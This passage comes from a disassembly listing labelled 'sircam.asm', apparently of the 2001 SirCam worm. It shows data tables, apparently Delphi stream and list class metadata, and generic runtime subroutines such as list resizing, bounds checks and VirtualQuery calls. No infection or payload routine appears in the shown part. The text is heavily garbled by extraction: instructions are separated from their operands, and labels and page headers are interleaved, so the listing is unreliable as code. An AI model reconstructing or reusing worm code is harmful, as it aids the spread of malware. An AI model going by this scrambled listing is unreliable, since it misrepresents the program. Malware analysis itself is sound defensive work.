dd 74535407h, 6D616572h ; DATA XREF: CODE:0040BC8C\030o
dd offset off_40BD1C
; DATA XREF: CODE:0040BD64\031o
dd 7 dup(0)
dd offset dword_40BD2C
dd 8
dd offset off_40BC6C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dd offset sub_40D920
; DATA XREF: CODE:0040BCD0\030o
dd offset loc_40D8F4
dd offset loc_40D904
dd offset loc_40D914
dd 6148540Dh, 656C646Eh, 65727453h, 0C08B6D61h ; DATA XREF: CODE:0040BCF0
dd offset off_40BD88
dd 7 dup(0)
dd offset dword_40BD98
; DATA XREF: sub_40CD7C+B\031r
; sub_40D010+E\031r ...
sircam.asm
Fri Aug 10 12:42:44 2001
dword_40BE00
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
off_40BE14
dd
off_40BD88
dword_40BD98
off_40BDA4
off_40BDF0
off_40BE60
dword_40BE74
\030o
off_40BE84
dword_40BE88
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
dd
318
8
offset off_40BCD0
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_40D9F8
offset sub_40D920
; DATA XREF: CODE:0040BD3C\030o
offset loc_40D8F4
offset loc_40D904
offset loc_40D914
6946540Bh, 7453656Ch, 6D616572h ; DATA XREF: CODE:0040BD5C\030o
offset off_40BDF0
; DATA XREF: CODE:0040BE3C\031o
7 dup(0)
offset dword_40BE00
10h
offset off_40BC6C
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_402BCC
offset nullsub_11
; DATA XREF: CODE:0040BDA4\030o
offset sub_40DA28
offset loc_4027FC
offset loc_40DA60
75435413h, 6D6F7473h, 6F6D654Dh, 74537972h, 6D616572h
; DATA XREF: CODE:0040BDC4\030o
offset off_40BE60
; DATA XREF: sub_411838+2C\031r
; sub_4151E8+74\031r ...
7 dup(0)
offset dword_40BE74
14h
offset off_40BDA4
offset loc_402CA0
offset nullsub_2
offset nullsub_3
offset sub_402CB4
offset nullsub_4
offset loc_402B70
offset sub_402B84
offset sub_40DA84
offset sub_40DB7C
; DATA XREF: CODE:0040BE14\030o
offset sub_40DA28
offset sub_40DC2C
offset loc_40DA60
offset sub_40DBA8
654D540Dh, 79726F6Dh, 65727453h, 0C08B6D61h ; DATA XREF: CODE:0040BE34
dd offset dword_40BE88
; DATA XREF: sub_415C9C+9B\031r
; sub_415C9C+B0\031r
dd 49540E0Eh, 746E6564h, 4570614Dh, 7972746Eh, 8, 1
; DATA XREF: CODE:0040BE84\030o
dd offset off_401000
align 8
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40BEA8
proc near
var_1C
= byte ptr -1Ch
; CODE XREF: CODE:0040E3C8\031p
; sub_40E3D0+22\031p
sircam.asm
var_18
Fri Aug 10 12:42:44 2001
319
= dword ptr -18h
push
mov
add
push
push
push
mov
mov
call
mov
xor
push
push
push
mov
mov
dec
cmp
jl
ebp
ebp, esp
esp, 0FFFFFFE4h
ebx
esi
edi
esi, eax
eax, ds:dword_41E618
sub_40C4B0
edi, eax
eax, eax
ebp
offset loc_40BF60
dword ptr fs:[eax]
fs:[eax], esp
ebx, [edi+8]
ebx
ebx, 0
short loc_40BF03
push
lea
push
mov
mov
call
push
call
test
jz
cmp
jnz
; CODE XREF: sub_40BEA8+59\031j
1Ch
eax, [ebp+var_1C]
eax
edx, ebx
eax, edi
sub_40C20C
eax
j_VirtualQuery_0
esi, esi
short loc_40BEF4
esi, [ebp+var_18]
short loc_40BEFD
mov
mov
call
edx, ebx
eax, edi
sub_40C11C
dec
cmp
jnz
ebx
ebx, 0FFFFFFFFh
short loc_40BED6
mov
mov
call
mov
dec
cmp
jl
; CODE XREF: sub_40BEA8+2C\030j
eax, ds:dword_41E61C
edx, [eax]
dword ptr [edx+14h]
ebx, eax
ebx
ebx, 0
short loc_40BF48
push
lea
push
mov
mov
mov
call
push
call
test
jz
cmp
jnz
; CODE XREF: sub_40BEA8+9E\031j
1Ch
eax, [ebp+var_1C]
eax
edx, ebx
eax, ds:dword_41E61C
ecx, [eax]
dword ptr [ecx+18h]
eax
j_VirtualQuery_0
esi, esi
short loc_40BF36
esi, [ebp+var_18]
short loc_40BF42
loc_40BED6:
loc_40BEF4:
; CODE XREF: sub_40BEA8+45\030j
loc_40BEFD:
; CODE XREF: sub_40BEA8+4A\030j
loc_40BF03:
loc_40BF15:
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40BF36:
mov
mov
mov
call
; CODE XREF: sub_40BEA8+87\030j
edx, ebx
eax, ds:dword_41E61C
ecx, [eax]
dword ptr [ecx+44h]
dec
cmp
jnz
ebx
ebx, 0FFFFFFFFh
short loc_40BF15
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40BEA8+6B\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40BF67
loc_40BF42:
; CODE XREF: sub_40BEA8+8C\030j
loc_40BF48:
loc_40BF55:
sub_40BEA8
320
; CODE XREF: CODE:0040BF65\031j
mov
eax, ds:dword_41E618
call
sub_40C514
retn
endp ; sp = -48h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40BF60:
; DATA XREF: sub_40BEA8+1A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40BF55
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40BF67:
; DATA XREF: sub_40BEA8+A8\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
off_40BF70
dd offset dword_40BFBC ; DATA XREF: sub_40C000+F\031r
dd 7 dup(0)
dd offset dword_40BFBC
dd 10h
dd offset off_40100C
dd offset loc_402CA0
dd offset nullsub_2
dd offset nullsub_3
dd offset sub_402CB4
dd offset nullsub_4
dd offset loc_402B70
dd offset sub_402B84
dd offset sub_402BCC
dword_40BFBC
dd 6E495409h, 6E6F4374h, 0C08B7473h ; DATA XREF: CODE:0040BF70\030o
; CODE:0040BF90\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40BFC8
proc near
arg_0
arg_4
= dword ptr
= dword ptr
push
mov
test
; CODE XREF: sub_40C000+14\031p
8
0Ch
ebp
ebp, esp
dl, dl
sircam.asm
Fri Aug 10 12:42:44 2001
jz
add
call
short loc_40BFD7
esp, 0FFFFFFF0h
sub_402CDC
mov
mov
mov
mov
mov
test
jz
call
pop
add
; CODE XREF: sub_40BFC8+5\030j
[eax+4], ecx
ecx, [ebp+arg_4]
[eax+8], ecx
ecx, [ebp+arg_0]
[eax+0Ch], ecx
dl, dl
short loc_40BFF9
sub_402D34
large dword ptr fs:0
esp, 0Ch
loc_40BFD7:
loc_40BFF9:
sub_40BFC8
321
; CODE XREF: sub_40BFC8+20\030j
pop
retn
endp
ebp
8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C000
proc near
sub_40C000
push
push
push
mov
mov
mov
push
push
mov
mov
mov
call
mov
mov
call
pop
pop
pop
retn
endp
; CODE XREF: CODE:00415E51\031p
; CODE:00415E65\031p
ebx
esi
edi
edi, ecx
esi, edx
ebx, eax
esi
edi
ecx, ebx
dl, 1
eax, ds:off_40BF70
sub_40BFC8
edx, eax
eax, ds:dword_41E620
sub_40C428
edi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C02C
proc near
var_4
arg_0
= dword ptr -4
= dword ptr 8
push
mov
push
push
push
push
mov
ebp
ebp, esp
ecx
ebx
esi
edi
[ebp+var_4], edx
; CODE XREF: CODE:00413B63\031p
; CODE:00413D37\031p
sircam.asm
Fri Aug 10 12:42:44 2001
mov
mov
test
jl
inc
lea
322
edi, eax
esi, [ebp+arg_0]
esi, esi
short loc_40C062
esi
ebx, [ecx+4]
loc_40C043:
; CODE XREF: sub_40C02C+34\031j
mov
edx, edi
mov
eax, [ebx]
call
sub_406E40
test
al, al
jz
short loc_40C05C
mov
al, 1
mov
edx, [ebp+var_4]
mov
ecx, [ebx-4]
mov
[edx], ecx
jmp
short loc_40C064
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C05C:
; CODE XREF: sub_40C02C+22\030j
add
dec
jnz
ebx, 8
esi
short loc_40C043
xor
eax, eax
pop
pop
pop
pop
pop
retn
endp
edi
esi
ebx
ecx
ebp
4
loc_40C062:
; CODE XREF: sub_40C02C+11\030j
loc_40C064:
sub_40C02C
; CODE XREF: sub_40C02C+2E\030j
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C06C
proc near
var_5
var_4
arg_0
= byte ptr -5
= dword ptr -4
= dword ptr 8
push
mov
add
push
push
push
mov
mov
mov
test
jl
inc
mov
ebp
ebp, esp
esp, 0FFFFFFF8h
ebx
esi
edi
[ebp+var_4], ecx
edi, edx
esi, [ebp+arg_0]
esi, esi
short loc_40C09F
esi
ebx, [ebp+var_4]
cmp
jnz
mov
mov
mov
call
eax, [ebx]
short loc_40C099
[ebp+var_5], 1
eax, edi
edx, [ebx+4]
sub_40351C
; CODE XREF: CODE:00413B53\031p
; CODE:00413D27\031p
loc_40C085:
; CODE XREF: sub_40C06C+31\031j
sircam.asm
Fri Aug 10 12:42:44 2001
323
jmp
short loc_40C0A3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C099:
; CODE XREF: sub_40C06C+1B\030j
add
dec
jnz
ebx, 8
esi
short loc_40C085
mov
[ebp+var_5], 0
mov
pop
pop
pop
pop
pop
pop
retn
endp
al, [ebp+var_5]
edi
esi
ebx
ecx
ecx
ebp
4
loc_40C09F:
; CODE XREF: sub_40C06C+13\030j
loc_40C0A3:
sub_40C06C
; CODE XREF: sub_40C06C+2B\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C0B0
proc near
; DATA XREF: CODE:0040B904\030o
push
ebx
push
esi
call
sub_402D3C
mov
ebx, edx
mov
esi, eax
mov
eax, esi
mov
edx, [eax]
call
dword ptr [edx+8]
test
bl, bl
jle
short loc_40C0CD
mov
eax, esi
call
sub_402D2C
loc_40C0CD:
sub_40C0B0
; CODE XREF: sub_40C0B0+14\030j
pop
pop
retn
endp
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C0D0
proc near
; CODE XREF: sub_40C428+41\031p
; sub_412604+14\031p
push
push
push
mov
mov
mov
cmp
jnz
mov
mov
call
ebx
esi
edi
edi, edx
ebx, eax
esi, [ebx+8]
esi, [ebx+0Ch]
short loc_40C0E5
eax, ebx
edx, [eax]
dword ptr [edx]
mov
mov
inc
; CODE XREF: sub_40C0D0+D\030j
eax, [ebx+4]
[eax+esi*4], edi
dword ptr [ebx+8]
loc_40C0E5:
sircam.asm
Fri Aug 10 12:42:44 2001
test
jz
xor
mov
mov
mov
call
edi, edi
short loc_40C0FD
ecx, ecx
edx, edi
eax, ebx
ebx, [eax]
dword ptr [ebx+4]
mov
pop
pop
pop
retn
endp
eax, esi
edi
esi
ebx
loc_40C0FD:
sub_40C0D0
324
; CODE XREF: sub_40C0D0+20\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C104
sub_40C104
proc near
push
ebx
mov
ebx, eax
xor
edx, edx
mov
eax, ebx
call
sub_40C2E4
xor
edx, edx
mov
eax, ebx
call
sub_40C2A8
pop
ebx
retn
endp
; DATA XREF: CODE:0040B910\030o
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C11C
proc near
; CODE XREF: sub_40BEA8+50\030p
; sub_40C288+15\031p ...
push
push
push
mov
mov
test
jl
cmp
jl
ebx
esi
edi
esi, edx
ebx, eax
esi, esi
short loc_40C12C
esi, [ebx+8]
short loc_40C13B
mov
mov
mov
call
; CODE XREF: sub_40C11C+9\030j
edx, ds:off_41DC24
ecx, esi
eax, [ebx]
sub_40C1B8
mov
mov
call
mov
dec
mov
cmp
jge
sub
mov
; CODE XREF: sub_40C11C+E\030j
edx, esi
eax, ebx
sub_40C20C
edi, eax
dword ptr [ebx+8]
eax, [ebx+8]
esi, eax
short loc_40C169
eax, esi
ecx, eax
loc_40C12C:
loc_40C13B:
sircam.asm
Fri Aug 10 12:42:44 2001
shl
mov
lea
mov
lea
call
ecx, 2
eax, [ebx+4]
edx, [eax+esi*4]
eax, [ebx+4]
eax, [eax+esi*4+4]
sub_4026B0
test
jz
mov
mov
mov
mov
call
; CODE XREF: sub_40C11C+32\030j
edi, edi
short loc_40C178
cl, 2
edx, edi
eax, ebx
ebx, [eax]
dword ptr [ebx+4]
loc_40C169:
loc_40C178:
sub_40C11C
325
; CODE XREF: sub_40C11C+4F\030j
pop
pop
pop
retn
endp
edi
esi
ebx
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C17C
sub_40C17C
proc near
mov
eax, [ebp+4]
retn
endp
; CODE XREF: sub_40C180+9\031p
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C180
proc near
var_8
var_4
= dword ptr -8
= byte ptr -4
sub_40C180
push
push
add
mov
mov
call
push
mov
mov
lea
push
push
mov
mov
mov
call
jmp
endp
; CODE XREF: sub_40C1B8+2D\031p
; DATA XREF: CODE:0040B914\030o
ebx
esi
esp, 0FFFFFFF8h
esi, ecx
ebx, edx
sub_40C17C
eax
[esp+0Ch+var_8], esi
[esp+0Ch+var_4], 0
eax, [esp+0Ch+var_8]
eax
0
ecx, ebx
dl, 1
eax, ds:off_40B748
sub_40948C
sub_402F98
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
pop
ecx
pop
edx
pop
esi
pop
ebx
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
sircam.asm
Fri Aug 10 12:42:44 2001
326
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_40C1B8
proc near
var_4
= dword ptr -4
push
mov
push
push
push
mov
mov
xor
push
push
push
mov
lea
mov
call
mov
mov
mov
call
xor
pop
pop
pop
mov
push
; CODE XREF: sub_40C11C+1A\030p
; sub_40C20C+19\031p ...
ebp
ebp, esp
0
ebx
esi
esi, ecx
ebx, edx
eax, eax
ebp
offset loc_40C200
dword ptr fs:[eax]
fs:[eax], esp
edx, [ebp+var_4]
eax, ebx
sub_404B80
edx, [ebp+var_4]
ecx, esi
eax, ds:off_40B8BC
sub_40C180
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_40C207
loc_40C1F7:
sub_40C1B8
; CODE XREF: CODE:0040C205\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C200:
; DATA XREF: sub_40C1B8+E\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_40C1F7
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C207:
; DATA XREF: sub_40C1B8+3A\030o
pop
pop
pop
pop
retn
esi
ebx
ecx
ebp
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C20C
proc near
push
push
mov
mov
test
jl
cmp
jl
ebx
esi
esi, edx
ebx, eax
esi, esi
short loc_40C21B
esi, [ebx+8]
short loc_40C22A
; CODE XREF: sub_40BEA8+38\030p
; sub_40C11C+23\030p ...
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40C21B:
mov
mov
mov
call
; CODE XREF: sub_40C20C+8\030j
edx, ds:off_41DC24
ecx, esi
eax, [ebx]
sub_40C1B8
loc_40C22A:
sub_40C20C
327
; CODE XREF: sub_40C20C+D\030j
mov
mov
pop
pop
retn
endp
eax, [ebx+4]
eax, [eax+esi*4]
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
loc_40C234:
; DATA XREF: CODE:0040B908\030o
mov
cmp
jle
mov
test
jns
add
edx, [eax+0Ch]
edx, 40h
short loc_40C24A
ecx, edx
ecx, ecx
short loc_40C245
ecx, 3
loc_40C245:
; CODE XREF: CODE:0040C240\030j
sar
ecx, 2
jmp
short loc_40C25B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C24A:
; CODE XREF: CODE:0040C23A\030j
cmp
edx, 8
jle
short loc_40C256
mov
ecx, 10h
jmp
short loc_40C25B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C256:
; CODE XREF: CODE:0040C24D\030j
mov
ecx, 4
loc_40C25B:
; CODE XREF: CODE:0040C248\030j
; CODE:0040C254\030j
add
ecx, edx
mov
edx, ecx
call
sub_40C2A8
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C268
proc near
; CODE XREF: sub_40C288+6\031p
; sub_40C428+31\031p
push
ebx
xor
ecx, ecx
jmp
short loc_40C26E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40C26D:
; CODE XREF: sub_40C268+11\031j
inc
ecx
cmp
jge
mov
cmp
jnz
ecx, [eax+8]
short loc_40C27B
ebx, [eax+4]
edx, [ebx+ecx*4]
short loc_40C26D
loc_40C26E:
; CODE XREF: sub_40C268+3\030j
sircam.asm
Fri Aug 10 12:42:44 2001
loc_40C27B:
; CODE XREF: sub_40C268+9\030j
cmp
jnz
or
ecx, [eax+8]
short loc_40C283
ecx, 0FFFFFFFFh
mov
pop
retn
endp
eax, ecx
ebx
loc_40C283:
sub_40C268
328
; CODE XREF: sub_40C268+16\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C288
proc near
; CODE XREF: sub_40C4C4+28\031p
push
ebx
push
esi
mov
ebx, eax
mov
eax, ebx
call
sub_40C268
mov
esi, eax
test
esi, esi
jl
short loc_40C2A2
mov
edx, esi
mov
eax, ebx
call
sub_40C11C
loc_40C2A2:
sub_40C288
; CODE XREF: sub_40C288+F\030j
mov
pop
pop
retn
endp
eax, esi
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C2A8
proc near
; CODE XREF: sub_40C104+10\030p
; CODE:0040C25F\030p ...
push
push
mov
mov
cmp
jl
cmp
jle
ebx
esi
esi, edx
ebx, eax
esi, [ebx+8]
short loc_40C2BB
esi, 7FFFFFFh
short loc_40C2CA
mov
mov
mov
call
; CODE XREF: sub_40C2A8+9\030j
edx, ds:off_41DBCC
ecx, esi
eax, [ebx]
sub_40C1B8
cmp
jz
mov
shl
lea
call
mov
esi, [ebx+0Ch]
short loc_40C2DF
edx, esi
edx, 2
eax, [ebx+4]
sub_4025C8
[ebx+0Ch], esi
loc_40C2BB:
loc_40C2CA:
loc_40C2DF:
; CODE XREF: sub_40C2A8+11\030j
; CODE XREF: sub_40C2A8+25\030j
sircam.asm
sub_40C2A8
Fri Aug 10 12:42:44 2001
pop
pop
retn
endp
329
esi
ebx
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_40C2E4
proc near
; CODE XREF: sub_40C104+7\030p
push
ebx
push
esi
push
edi
push
ebp
mov
esi, edx
mov
ebx, eax
test
esi, esi
jl
short loc_40C2F8
cmp
esi, 7FFFFFFh
jle
short loc_40C307
loc_40C2F8:
mov
mov
mov
call
; CODE XREF: sub_40C2E4+A\030j
edx, ds:off_41DB94
ecx, esi
eax, [ebx]
sub_40C1B8
cmp
jle
mov
mov
call
esi, [ebx+0Ch]
short loc_40C315
edx, esi
eax, ebx
sub_40C2A8
loc_40C307:
; CODE XREF: sub_40C2E4+12\030j
loc_40C315:
; CODE XREF: sub_40C2E4+26\030j
mov
eax, [ebx+8]
cmp
esi, eax
jle
